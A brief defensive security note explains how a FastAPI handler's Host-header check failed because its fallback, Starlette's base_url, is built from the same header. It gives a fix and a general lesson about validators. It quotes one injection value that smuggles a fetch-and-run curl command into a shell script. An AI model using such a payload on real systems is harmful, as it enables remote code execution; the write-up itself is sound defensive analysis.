Starlette base_url is built from the Host header, so it is not a safe fallback

A FastAPI handler rendered the request origin into a shell script. It allow-listed the Host header with a hostname regex and fell back to str(request.base_url) when the regex failed. Starlette constructs base_url FROM the Host header, so the guard detected a hostile value and then returned it unchanged — evil.com"; curl x.sh | sh; # survived into a double-quoted shell assignment, and X-Forwarded-Proto was interpolated with no check at all. The regex was correct; the failure path was the hole. Generalizes: a validator whose reject path derives from the same untrusted input as its accept path is not a validator, and it passes any review that reads the condition and stops. Render the output for a rejected input rather than asserting the condition rejects it. Correct fix is to refuse (400), not substitute a default — and note that an EMPTY X-Forwarded-Proto is absence, not attack, so it must still fall through to request.url.scheme.